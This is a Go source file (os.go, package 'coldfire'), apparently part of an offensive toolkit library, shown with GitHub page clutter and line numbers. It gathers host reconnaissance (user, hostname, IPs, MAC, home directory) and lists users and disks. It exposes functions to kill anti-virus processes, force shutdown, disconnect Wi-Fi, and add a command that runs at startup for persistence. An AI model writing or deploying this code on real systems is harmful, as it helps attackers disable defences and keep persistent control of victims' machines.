-
Notifications
You must be signed in to change notification settings - Fork 142
/
os.go
211 lines (177 loc) · 4.53 KB
/
os.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
package coldfire
import (
"errors"
"fmt"
"io/fs"
"log"
"os"
"os/user"
"strings"
"time"
"github.com/beevik/ntp"
"github.com/matishsiao/goInfo"
"github.com/mitchellh/go-homedir"
ps "github.com/mitchellh/go-ps"
)
// Info is used to return basic system information.
// Note that if information can not be resolved in a
// specific field it returns "N/A"
func Info() map[string]string {
_, mac := Iface()
var (
u string
ap_ip string
)
i, _ := goInfo.GetInfo()
u = userinfo()
ap_ip = ""
_ = ap_ip
hdir, err := homedir.Dir()
if err != nil {
log.Fatalf(err.Error())
}
inf := map[string]string{
"username": u,
"hostname": fmt.Sprintf("%v", i.Hostname),
"go_os": fmt.Sprintf("%v", i.GoOS),
"os": fmt.Sprintf("%v", i.OS),
"platform": fmt.Sprintf("%v", i.Platform),
"cpu_num": fmt.Sprintf("%v", i.CPUs),
"kernel": fmt.Sprintf("%v", i.Kernel),
"core": fmt.Sprintf("%v", i.Core),
"local_ip": GetLocalIP(),
"global_ip": GetGlobalIP(),
"ap_ip": GetGatewayIP(),
"mac": mac,
"homedir": hdir,
}
return inf
}
// Obtains current time from NTP server
func TimeNTP() time.Time {
ntp_time, err := ntp.Time("time.ntp.com")
if err != nil {
ntp_time, _ = ntp.Time("time.apple.com")
}
return ntp_time
}
// PkillPid kills a process by its PID.
func PkillPid(pid int) error {
err := KillProcByPID(pid)
return err
}
// KillProcByPID kills a process given its PID.
func KillProcByPID(pid int) error {
return killProcByPID(pid)
}
// PkillName kills a process by its name.
func PkillName(name string) error {
processList, err := ps.Processes()
if err != nil {
return err
}
for x := range processList {
process := processList[x]
proc_name := process.Executable()
pid := process.Pid()
if strings.Contains(proc_name, name) {
err := KillProcByPID(pid)
if err != nil {
return err
}
}
}
return nil
}
// PkillAv kills Anti-Virus processes that may run within the machine.
func PkillAv() error {
return pkillAv()
}
// Processes returns a map of a PID to its respective process name.
func Processes() (map[int]string, error) {
prs := make(map[int]string)
processList, err := ps.Processes()
if err != nil {
return nil, err
}
for x := range processList {
process := processList[x]
prs[process.Pid()] = process.Executable()
}
return prs, nil
}
// Users returns a list of known users within the machine.
func Users() ([]string, error) {
return users()
}
// WifiDisconnect is used to disconnect the machine from a wireless network.
func WifiDisconnect() error {
return wifiDisconnect()
}
// Disks returns a list of storage drives within the machine.
func Disks() ([]string, error) {
return disks()
}
// TraverseCurrentDir lists all files that exist within the current directory.
func TraverseCurrentDir() ([]string, error) {
files_in_dir := []string{}
files, err := os.ReadDir(".")
if err != nil {
return nil, err
}
for _, f := range files {
files_in_dir = append(files_in_dir, f.Name())
}
return files_in_dir, nil
}
// TraverseDir lists all files that exist within a given directory.
func TraverseDir(dir string) ([]string, error) {
files_in_dir := []string{}
files, err := os.ReadDir(dir)
if err != nil {
return nil, err
}
for _, f := range files {
files_in_dir = append(files_in_dir, f.Name())
}
return files_in_dir, nil
}
// FilePermissions checks if a given file has read and write permissions.
func FilePermissions(filename string) (bool, bool) {
write_permission := true
read_permission := true
file, err := os.OpenFile(filename, os.O_WRONLY, 0666)
if err != nil {
if os.IsPermission(err) {
write_permission = false
}
}
file.Close()
return read_permission, write_permission
}
// Exists checks if a given file is in the system.
func Exists(file string) bool {
_, err := os.Stat(file)
if err != nil {
if errors.Is(err, fs.ErrNotExist) {
return false
}
}
return true
}
// IsRoot checks if the current user is the administrator of the machine.
func IsRoot() bool {
return isRoot()
}
// Shutdown forces the machine to shutdown.
func Shutdown() error {
return shutdown()
}
// AddPersistentCommand creates a task that runs a given command on startup.
func AddPersistentCommand(cmd string) error {
return addPersistentCommand(cmd)
}
func GetUser() (string, error) {
current_user, err := user.Current()
return current_user.Username, err
}